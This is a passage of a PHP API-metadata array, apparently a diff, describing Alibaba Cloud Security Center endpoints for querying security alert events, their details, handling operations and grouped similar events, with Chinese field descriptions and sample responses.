'首次发生的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1631699497000', + ], + 'InstanceId' => [ + 'description' => '受告警事件影响的资产实例的ID。', + 'type' => 'string', + 'example' => 'i-9dp6dwsxdl9z5u1e2f****', + ], + 'AlarmEventTypeDisplay' => [ + 'description' => '告警事件类型。', + 'type' => 'string', + 'example' => 'Unusual Logon', + ], + 'IntranetIp' => [ + 'description' => '关联实例的私网IP。'."\n", + 'type' => 'string', + 'example' => '100.100.XX.XX', + ], + 'LastTime' => [ + 'description' => '告警事件最近发生时间。', + 'type' => 'string', + 'example' => '2018-09-26 01:51:01', + ], + 'OperateMsg' => [ + 'description' => '告警事件操作的备注信息。', + 'type' => 'string', + 'example' => 'success', + ], + 'Uuid' => [ + 'description' => '关联实例的唯一标识。', + 'type' => 'string', + 'example' => 'bf6b30d3-eea8-4924-9f0a-****', + ], + 'K8sPodName' => [ + 'description' => 'K8sPod名称。', + 'type' => 'string', + 'example' => 'myapp-pod'."\n", + ], + 'ContainerId' => [ + 'description' => '容器ID。', + 'type' => 'string', + 'example' => 'container_1648601865161_14925_02_000****', + ], + 'AlarmEventType' => [ + 'description' => '告警事件类型。'."\n", + 'type' => 'string', + 'example' => 'Unusual Logon', + ], + 'K8sNamespace' => [ + 'description' => 'K8s命名空间。', + 'type' => 'string', + 'example' => 'default', + ], + 'AutoBreaking' => [ + 'description' => '是否自动防御。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'K8sNodeName' => [ + 'description' => 'K8s节点名称。', + 'type' => 'string', + 'example' => 'N/A', + ], + 'AlarmEventName' => [ + 'description' => '告警事件名称。'."\n", + 'type' => 'string', + 'example' => 'login_common_location', + ], + 'UniqueInfo' => [ + 'description' => '安全告警的唯一key。', + 'type' => 'string', + 'example' => 'e17e****', + ], + 'MaliciousRuleStatus' => [ + 'description' => '恶意行为防御规则状态。取值包括：'."\n" + .'- **open**：开启'."\n" + .'- **close**：关闭', + 'type' => 'string', + 'example' => 'open', + ], + 'Level' => [ + 'description' => '告警事件的危险等级。取值包括：'."\n" + .'- **serious**：紧急'."\n" + .'- **suspicious**：可疑'."\n" + .'- **remind**：提醒', + 'type' => 'string', + 'example' => 'serious', + ], + 'Id' => [ + 'description' => '告警事件的唯一标识ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1000', + ], + 'Details' => [ + 'description' => '告警事件详情。', + 'type' => 'array', + 'items' => [ + 'description' => '异常事件详情。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '告警事件类型。', + 'type' => 'string', + 'example' => 'text', + ], + 'Value' => [ + 'description' => '告警事件发生路径。', + 'type' => 'string', + 'example' => '/etc/crontab', + ], + 'NameDisplay' => [ + 'description' => '告警事件显示名称。', + 'type' => 'string', + 'example' => 'Login with unusual location', + ], + 'ValueDisplay' => [ + 'description' => '告警事件发生路径。', + 'type' => 'string', + 'example' => '/etc/crontab', + ], + ], + ], + ], + 'EventNotes' => [ + 'description' => '告警事件的备注信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Note' => [ + 'description' => '备注信息。', + 'type' => 'string', + 'example' => 'Test', + ], + 'NoteId' => [ + 'description' => '事件记录ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '123', + ], + 'NoteTime' => [ + 'description' => '事件记录时间。', + 'type' => 'string', + 'example' => '2018-09-26 01:51:01'."\n", + ], + ], + ], + ], + 'clusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c2051775877374cccbf68af596e6****', + ], + 'ImageUuid' => [ + 'description' => '镜像UUID。', + 'type' => 'string', + 'example' => '70489fb520cea585ad9761d5a842****', + ], + 'DisplaySandboxResult' => [ + 'description' => '支持云沙箱检出。取值包括：'."\n" + ."\n" + .'- **true**：支持。'."\n" + .'- **false**：不支持。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'LargeModel' => [ + 'description' => '是否支持大模型分析标签。取值包括：'."\n" + ."\n" + .'- **true**：支持。'."\n" + .'- **false**：不支持。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'MarkList' => [ + 'description' => '告警事件标签集合。', + 'type' => 'array', + 'items' => [ + 'description' => '告警事件标签。', + 'type' => 'string', + 'example' => 'mark', + ], + ], + 'SourceAliUid' => [ + 'description' => '产生告警的阿里云账号ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '196072141348****', + ], + 'SupportOperateCode' => [ + 'description' => '告警支持的操作类型：'."\n" + .'- **AI.false_positive**：疑似误报'."\n" + .'- **AI.real_attack**：真实攻击'."\n" + .'- **AI.Insufficient_information_to_evaluate**：无法研判', + 'type' => 'string', + 'example' => 'AI.real_attack', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"RequestId\\": \\"0D6E20E4-8326-1D03-A553-2182BE9E82F9\\",\\n \\"TotalCount\\": 100,\\n \\"Count\\": 20,\\n \\"SuspEvents\\": [\\n {\\n \\"Stages\\": \\"\\\\\\"[\\\\\\"authority_maintenance\\\\\\"]\\\\\\"\\",\\n \\"TacticItems\\": [\\n {\\n \\"TacticId\\": \\"TA0001\\",\\n \\"TacticDisplayName\\": \\"Malicious scripts-Malicious script code execution\\"\\n }\\n ],\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"K8sClusterName\\": \\"test-daily\\",\\n \\"ContainerImageId\\": \\"sha256:2e5a3b0ae5f452b3cb458789a9a7542ef40035a84318469a8528c5e444db1****\\",\\n \\"LastTimeStamp\\": 1631699497000,\\n \\"OccurrenceTime\\": \\"2018-09-26 01:51:01\\",\\n \\"AlarmUniqueInfo\\": \\"8df914418f****\\",\\n \\"Desc\\": \\"webshell\\",\\n \\"CanCancelFault\\": false,\\n \\"AlarmEventNameDisplay\\": \\"Login with unusual location\\",\\n \\"AppName\\": \\"pro-deploy-tibasic\\",\\n \\"SecurityEventIds\\": \\"270789\\",\\n \\"K8sClusterId\\": \\"c517b37e1401e4961b3951863a49a****\\",\\n \\"ContainerImageName\\": \\"centos7_apache:v1.0.1\\",\\n \\"MarkMisRules\\": \\"1.  path  contain  232  \\",\\n \\"CanBeDealOnLine\\": true,\\n \\"ContainHwMode\\": false,\\n \\"K8sNodeId\\": \\"i-bp14a1ay8e0aa9t0****\\\\n\\",\\n \\"InstanceName\\": \\"nginx\\",\\n \\"EventStatus\\": 8,\\n \\"SaleVersion\\": \\"1\\",\\n \\"OperateErrorCode\\": \\"kill_and_quara.Success\\",\\n \\"Name\\": \\"Unusual Logon-Login with unusual location\\",\\n \\"HasTraceInfo\\": true,\\n \\"DataSource\\": \\"aegis_suspicious_****\\",\\n \\"OperateTime\\": 1631699497000,\\n \\"EventSubType\\": \\"login_common_location\\",\\n \\"Advanced\\": true,\\n \\"OccurrenceTimeStamp\\": 1631699497000,\\n \\"InstanceId\\": \\"i-9dp6dwsxdl9z5u1e2f****\\",\\n \\"AlarmEventTypeDisplay\\": \\"Unusual Logon\\",\\n \\"IntranetIp\\": \\"100.100.XX.XX\\",\\n \\"LastTime\\": \\"2018-09-26 01:51:01\\",\\n \\"OperateMsg\\": \\"success\\",\\n \\"Uuid\\": \\"bf6b30d3-eea8-4924-9f0a-****\\",\\n \\"K8sPodName\\": \\"myapp-pod\\\\n\\",\\n \\"ContainerId\\": \\"container_1648601865161_14925_02_000****\\",\\n \\"AlarmEventType\\": \\"Unusual Logon\\",\\n \\"K8sNamespace\\": \\"default\\",\\n \\"AutoBreaking\\": true,\\n \\"K8sNodeName\\": \\"N/A\\",\\n \\"AlarmEventName\\": \\"login_common_location\\",\\n \\"UniqueInfo\\": \\"e17e****\\",\\n \\"MaliciousRuleStatus\\": \\"open\\",\\n \\"Level\\": \\"serious\\",\\n \\"Id\\": 1000,\\n \\"Details\\": [\\n {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"/etc/crontab\\",\\n \\"NameDisplay\\": \\"Login with unusual location\\",\\n \\"ValueDisplay\\": \\"/etc/crontab\\"\\n }\\n ],\\n \\"EventNotes\\": [\\n {\\n \\"Note\\": \\"Test\\",\\n \\"NoteId\\": 123,\\n \\"NoteTime\\": \\"2018-09-26 01:51:01\\\\n\\"\\n }\\n ],\\n \\"clusterId\\": \\"c2051775877374cccbf68af596e6****\\",\\n \\"ImageUuid\\": \\"70489fb520cea585ad9761d5a842****\\",\\n \\"DisplaySandboxResult\\": true,\\n \\"LargeModel\\": true,\\n \\"MarkList\\": [\\n \\"mark\\"\\n ],\\n \\"SourceAliUid\\": 0,\\n \\"SupportOperateCode\\": \\"AI.real_attack\\"\\n }\\n ]\\n}","errorExample":"{\\n \\"RequestId\\": \\"43F670F3-AB40-4E91-BC7D-C57468834F67\\",\\n \\"HostId\\": \\"aegis.cn-hangzhou.aliyuncs.com\\",\\n \\"Code\\": \\"-101\\",\\n \\"Message\\": \\"illegal parameter, xxxx\\\\n\\"\\n} "},{"type":"xml","example":"\\n\\n3\\n2\\n20\\n0C7FAD74-83FA-4671-9250-A5F2A64F437A\\n1\\n\\n 1\\n 1\\n 1.2.3.4\\n XorDDoS木马\\n 恶意进程（云查杀）-XorDDoS木马\\n aegis_suspiciou***\\n 2018-09-26 01:51:01\\n server01\\n XORDDoS木马入侵后，会在Linux的定时任务中植入恶意代码。\\n false\\n bf6b30d3-eea8-4924***\\n 1.2.3.4\\n serious\\n 3682\\n 2018-10-24 21:06:01\\n\\n\\n 1\\n 1\\n 1.2.3.5\\n XorDDoS木马\\n 恶意进程（云查杀）-XorDDoS木马\\n aegis_suspiciou***\\n 2018-09-26 02:01:01\\n server01\\n XORDDoS木马入侵后，会在Linux的定时任务中植入恶意代码。\\n false\\n bf6b30d3-eea8-4924-***\\n 1.2.3.4\\n serious\\n 3683\\n 2018-10-24 21:01:01\\n\\n","errorExample":""}]', + 'title' => '查询安全告警事件', + ], + 'DescribeSuspEventDetail' => [ + 'summary' => '查询单个告警事件详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92213', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '121.33.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + 'default' => 'zh', + ], + ], + [ + 'name' => 'SuspiciousEventId', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件ID。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '32750999', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件数据的来源，固定为sas。', + 'type' => 'string', + 'required' => true, + 'example' => 'sas', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '16670360956*****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'DataSource' => [ + 'description' => '告警事件的数据来源。', + 'type' => 'string', + 'example' => 'aegis_suspicious_****', + ], + 'EventName' => [ + 'description' => '告警事件的名称。', + 'type' => 'string', + 'example' => 'WEBSHELL', + ], + 'InternetIp' => [ + 'description' => '发生告警事件的服务器的公网IP。', + 'type' => 'string', + 'example' => '101.132.XX.XX', + ], + 'AlarmUniqueInfo' => [ + 'description' => '告警事件的唯一标识ID。'."\n" + ."\n" + .'> 如果查询单个告警事件的异常事件信息，需要提供告警事件的唯一标识ID，该ID可调用[DescribeSuspEvents](~~DescribeSuspEvents~~)接口获取。', + 'type' => 'string', + 'example' => '8df914418f4211fb****', + ], + 'IntranetIp' => [ + 'description' => '发生告警事件的服务器的私网IP。', + 'type' => 'string', + 'example' => '172.26.XX.XX', + ], + 'LastTime' => [ + 'description' => '告警事件最新发生时间。', + 'type' => 'string', + 'example' => ' 2018-10-30 11:43:46 ', + ], + 'OperateMsg' => [ + 'description' => '告警事件的处理结果的说明。', + 'type' => 'string', + 'example' => 'success', + ], + 'Uuid' => [ + 'description' => '发生告警事件的服务器实例的UUID。', + 'type' => 'string', + 'example' => 'bffb12c3-590a-4db2-b538-****', + ], + 'CanBeDealOnLine' => [ + 'description' => '是否支持在线处理告警事件，例如阻断隔离、加白名单、忽略等。取值包括：'."\n" + .'- **true**：支持在线处置'."\n" + .'- **false**：不支持在线处置', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '结果的请求ID。'."\n", + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', + ], + 'EventTypeDesc' => [ + 'description' => '告警事件类型说明。', + 'type' => 'string', + 'example' => 'Malicious Software-Variable Trojan', + ], + 'EventDesc' => [ + 'description' => '告警事件的描述信息。', + 'type' => 'string', + 'example' => 'The detection model found a suspicious Webshell file on your server, which may be a backdoor file implanted to maintain permissions after the attacker successfully invaded the website.', + ], + 'InstanceName' => [ + 'description' => '发生告警事件的服务器的名称。', + 'type' => 'string', + 'example' => 'ca_cpm_****', + ], + 'EventStatus' => [ + 'description' => '告警事件状态。取值包括：'."\n" + ."\n" + .'- **1**：pending（待处理）'."\n" + .'- **2**：ignore（已忽略）'."\n" + .'- **4**：handled（已确认）'."\n" + .'- **8**：fault（已标记误报）'."\n" + .'- **16**：dealing（处理中）'."\n" + .'- **32**：done（处理完毕）'."\n" + .'- **64**：expire（已经过期）', + 'type' => 'string', + 'example' => '1', + ], + 'SaleVersion' => [ + 'description' => '告警事件检测支持的云安全中心版本。取值包括：'."\n" + ."\n" + .'- **0**：基础版'."\n" + ."\n" + .'- **1**：高级版'."\n" + ."\n" + .'- **2**：企业版', + 'type' => 'string', + 'example' => '1', + ], + 'OperateErrorCode' => [ + 'description' => '告警事件的处理结果。', + 'type' => 'string', + 'example' => 'quara.Succes', + ], + 'Level' => [ + 'description' => '告警事件的危险等级。取值包括：'."\n" + .'- **serious**：紧急'."\n" + .'- **suspicious**：可疑'."\n" + .'- **remind**：提醒', + 'type' => 'string', + 'example' => 'serious', + ], + 'Id' => [ + 'description' => '记录告警事件的唯一标识ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11416624', + ], + 'Details' => [ + 'description' => '告警事件的详情。', + 'type' => 'array', + 'items' => [ + 'description' => '告警事件的详情。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '告警事件详情信息展示的方式。'."\n" + ."\n" + .'取值包括：'."\n" + .'- **text**：文本方式'."\n" + .'- **html**：富文本的方式', + 'type' => 'string', + 'example' => 'html', + ], + 'Value' => [ + 'description' => '告警事件的其他属性信息。例如：异常登录告警的登录时间或登录地点、webshell告警的木马文件路径或木马类型等。', + 'type' => 'string', + 'example' => 'getopt', + ], + 'NameDisplay' => [ + 'description' => '告警属性显示名称。', + 'type' => 'string', + 'example' => 'Trojan Path', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + [ + 'errorCode' => 'DataExists', + 'errorMessage' => '%s data exist', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"DataSource\\": \\"aegis_suspicious_****\\",\\n \\"EventName\\": \\"WEBSHELL\\",\\n \\"InternetIp\\": \\"101.132.XX.XX\\",\\n \\"AlarmUniqueInfo\\": \\"8df914418f4211fb****\\",\\n \\"IntranetIp\\": \\"172.26.XX.XX\\",\\n \\"LastTime\\": \\" 2018-10-30 11:43:46 \\",\\n \\"OperateMsg\\": \\"success\\",\\n \\"Uuid\\": \\"bffb12c3-590a-4db2-b538-****\\",\\n \\"CanBeDealOnLine\\": true,\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"EventTypeDesc\\": \\"Malicious Software-Variable Trojan\\",\\n \\"EventDesc\\": \\"The detection model found a suspicious Webshell file on your server, which may be a backdoor file implanted to maintain permissions after the attacker successfully invaded the website.\\",\\n \\"InstanceName\\": \\"ca_cpm_****\\",\\n \\"EventStatus\\": \\"1\\",\\n \\"SaleVersion\\": \\"1\\",\\n \\"OperateErrorCode\\": \\"quara.Succes\\",\\n \\"Level\\": \\"serious\\",\\n \\"Id\\": 11416624,\\n \\"Details\\": [\\n {\\n \\"Type\\": \\"html\\",\\n \\"Value\\": \\"getopt\\",\\n \\"NameDisplay\\": \\"Trojan Path\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询单个安全告警事件详情', + ], + 'DescribeSecurityEventOperations' => [ + 'summary' => '查看您可对告警事件进行处理的操作列表信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92191', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'SecurityEventId', + 'in' => 'query', + 'schema' => [ + 'description' => '要处理的安全告警事件的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '61352054', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B7A2000F-497E-5DA0-B14D-615CD410DD7E', + ], + 'SecurityEventOperationsResponse' => [ + 'description' => '处理告警事件的处理方式的详细信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '处理告警事件的处理方式的详细信息。', + 'type' => 'object', + 'properties' => [ + 'OperationParams' => [ + 'description' => '告警事件处理方式子操作的配置。'."\n" + ."\n" + .'> 除了**OperationCode**值为**kill_and_quara**和**block_ip**此参数必填外，**OperationCode**为其他值的情况下，该参数值可为空。'."\n", + 'type' => 'string', + 'example' => '{"expireTime":1641566807783}', + ], + 'OperationCode' => [ + 'description' => '告警的处理方式。取值：'."\n" + ."\n" + .'- **block_ip**：阻断'."\n" + .'- **advance\\_mark\\_mis_info**：加白名单'."\n" + .'- **ignore**：忽略'."\n" + .'- **manual_handled**：我已手工处理'."\n" + .'- **kill_process**：结束进程'."\n" + .'- **cleanup**：深度查杀'."\n" + .'- **kill\\_and_quara**：病毒查杀'."\n" + .'- **disable\\_malicious_defense**：关闭恶意行为防御'."\n" + .'- **client\\_problem_check**：问题排查'."\n" + .'- **quara**：隔离'."\n" + .'- **defense_mark_mis_info**：仅防御不通知'."\n" + .'- **rm_defense_mark_mis_info**：开启消息通知'."\n" + .'- **rm_mark_mis_info**：取消加白'."\n" + .'- **cancle_manual**：取消已经手工处理', + 'type' => 'string', + 'example' => 'advance_mark_mis_info', + ], + 'UserCanOperate' => [ + 'description' => '当时的云安全中心版本是否支持您对此告警进行处理。取值：'."\n" + ."\n" + .'- **true**：允许'."\n" + .'- **false**：不允许', + 'type' => 'boolean', + 'example' => 'false', + ], + 'MarkField' => [ + 'description' => '当处理方式为**advance\\_mark\\_mis_info**时的配置信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '当处理方式为**advance\\_mark\\_mis_info**时的配置信息。', + 'type' => 'object', + 'properties' => [ + 'MarkMisType' => [ + 'description' => '已配置的白名单规则中的通配符。取值：'."\n" + .'- **contains**：包含'."\n" + .'- **notContains**：不包含'."\n" + .'- **regex**：正则'."\n" + .'- **strEqual**：等于'."\n" + .'- **strNotEqual**：不等于', + 'type' => 'string', + 'example' => 'contains', + ], + 'FiledName' => [ + 'description' => '已配置白名单规则的加白字段。'."\n", + 'type' => 'string', + 'example' => 'gmtModified', + ], + 'FiledAliasName' => [ + 'description' => '已配置白名单规则的加白字段的名称。', + 'type' => 'string', + 'example' => 'file path', + ], + 'MarkMisValue' => [ + 'description' => '已配置白名单规则的规则值。', + 'type' => 'string', + 'example' => '2022-04-25 10:11:04', + ], + 'Uuid' => [ + 'title' => '资产uuid', + 'description' => '该告警事件发生的服务器的UUID。', + 'type' => 'string', + 'example' => '3d6b4a75-c28f-447b-9142-38f6252c****', + ], + 'SupportedMisType' => [ + 'description' => '加入白名单方式包含的具体操作的信息。', + 'type' => 'array', + 'items' => [ + 'description' => '已配置的白名单规则支持修改的通配符类型。取值：'."\n" + ."\n" + .'- **contains**：包含'."\n" + .'- **notContains**：不包含'."\n" + .'- **regex**：正则'."\n" + .'- **strEqual**：等于'."\n" + .'- **strNotEqual**：不等于', + 'type' => 'string', + 'example' => 'contains', + ], + ], + ], + ], + ], + 'MarkFieldsSource' => [ + 'description' => '加白名单操作可选择的配置类型的信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '加白名单操作可选择的配置类型的信息。', + 'type' => 'object', + 'properties' => [ + 'FiledName' => [ + 'description' => '可配置白名单规则的加白字段。'."\n", + 'type' => 'string', + 'example' => 'gmtModified', + ], + 'FiledAliasName' => [ + 'description' => '可配置白名单规则的加白字段的名称。', + 'type' => 'string', + 'example' => 'file path', + ], + 'MarkMisValue' => [ + 'description' => '配置白名单规则的规则值。', + 'type' => 'string', + 'example' => 'contains', + ], + 'SupportedMisType' => [ + 'description' => '加入白名单方式包含的具体操作的信息。', + 'type' => 'array', + 'items' => [ + 'description' => '白名单规则中支持的通配符。取值：'."\n" + ."\n" + .'- **contains**：包含'."\n" + .'- **notContains**：不包含'."\n" + .'- **regex**：正则'."\n" + .'- **strEqual**：等于'."\n" + .'- **strNotEqual**：不等于', + 'type' => 'string', + 'example' => 'contains', + ], + ], + ], + ], + ], + 'MappingMarkFields' => [ + 'description' => '精准防御加白名单处置信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '精准防御加白名单处置信息。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '精准防御支持加白的字段名称。', + 'type' => 'string', + 'example' => 'pid', + ], + 'Value' => [ + 'description' => '精准防御支持加白的字段值。', + 'type' => 'string', + 'example' => '1791', + ], + 'ShowValue' => [ + 'description' => '精准防御支持加白的字段展示名称。', + 'type' => 'string', + 'example' => '1791', + ], + 'FillType' => [ + 'description' => '当前加白字段值是否允许更改：'."\n" + .'- **CUSTOM**：可更改'."\n" + .'- **SYSTEM**：不可更改', + 'type' => 'string', + 'example' => 'CUSTOM', + ], + 'Required' => [ + 'description' => '是否必填。取值：'."\n" + .'- **true**：必填'."\n" + .'- **false**：非必填', + 'type' => 'boolean', + 'example' => 'true', + ], + 'ShowName' => [ + 'description' => '可配置白名单规则的加白字段展示名称。', + 'type' => 'string', + 'example' => 'pid', + ], + 'MinLength' => [ + 'description' => '精准防御加白名单处置信息填写内容最小长度。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1024', + ], + 'MaxLength' => [ + 'description' => '精准防御加白名单处置信息填写内容最大长度。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2048', + ], + 'Description' => [ + 'description' => '精准防御加白名单处置描述。', + 'type' => 'string', + 'example' => 'test', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'SecurityEventNotExists', + 'errorMessage' => 'Security event not exists.', + ], + [ + 'errorCode' => 'MissingSecurityEventId', + 'errorMessage' => 'SecurityEventId is mandatory for this action.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => '-100', + 'errorMessage' => 'The service is unavailable, please try again later.', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"B7A2000F-497E-5DA0-B14D-615CD410DD7E\\",\\n \\"SecurityEventOperationsResponse\\": [\\n {\\n \\"OperationParams\\": \\"{\\\\\\"expireTime\\\\\\":1641566807783}\\",\\n \\"OperationCode\\": \\"advance_mark_mis_info\\",\\n \\"UserCanOperate\\": false,\\n \\"MarkField\\": [\\n {\\n \\"MarkMisType\\": \\"contains\\",\\n \\"FiledName\\": \\"gmtModified\\",\\n \\"FiledAliasName\\": \\"file path\\",\\n \\"MarkMisValue\\": \\"2022-04-25 10:11:04\\",\\n \\"Uuid\\": \\"3d6b4a75-c28f-447b-9142-38f6252c****\\",\\n \\"SupportedMisType\\": [\\n \\"contains\\"\\n ]\\n }\\n ],\\n \\"MarkFieldsSource\\": [\\n {\\n \\"FiledName\\": \\"gmtModified\\",\\n \\"FiledAliasName\\": \\"file path\\",\\n \\"MarkMisValue\\": \\"contains\\",\\n \\"SupportedMisType\\": [\\n \\"contains\\"\\n ]\\n }\\n ],\\n \\"MappingMarkFields\\": [\\n {\\n \\"Name\\": \\"pid\\",\\n \\"Value\\": \\"1791\\",\\n \\"ShowValue\\": \\"1791\\",\\n \\"FillType\\": \\"CUSTOM\\",\\n \\"Required\\": true,\\n \\"ShowName\\": \\"pid\\",\\n \\"MinLength\\": 1024,\\n \\"MaxLength\\": 2048,\\n \\"Description\\": \\"test\\"\\n }\\n ]\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n B7A2000F-497E-5DA0-B14D-615CD410DD7E\\n \\n {\\\\\\"ip\\\\\\":\\\\\\"192.168.XX.XX\\\\\\",\\\\\\"bound\\\\\\":\\\\\\"in\\\\\\"}\\n advance_mark_mis_info\\n false\\n \\n contains\\n gmtModified\\n 登录时间\\n 2022-04-25 10:11:04\\n 63fdf394-dc58-4490-a-XXX\\n contains\\n \\n \\n gmtModified\\n 登录时间\\n contains\\n contains\\n \\n \\n","errorExample":""}]', + 'title' => '查看告警事件处理的操作列表信息', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeSimilarSecurityEvents' => [ + 'summary' => '对相同规则或类型触发的告警进行归并查询。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'TaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '查询任务的ID。您可以调用[CreateSimilarSecurityEventsQueryTask](~~CreateSimilarSecurityEventsQueryTask~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1689135', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的告警事件的数量。默认值为**20**，表示每页显示20条告警事件。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 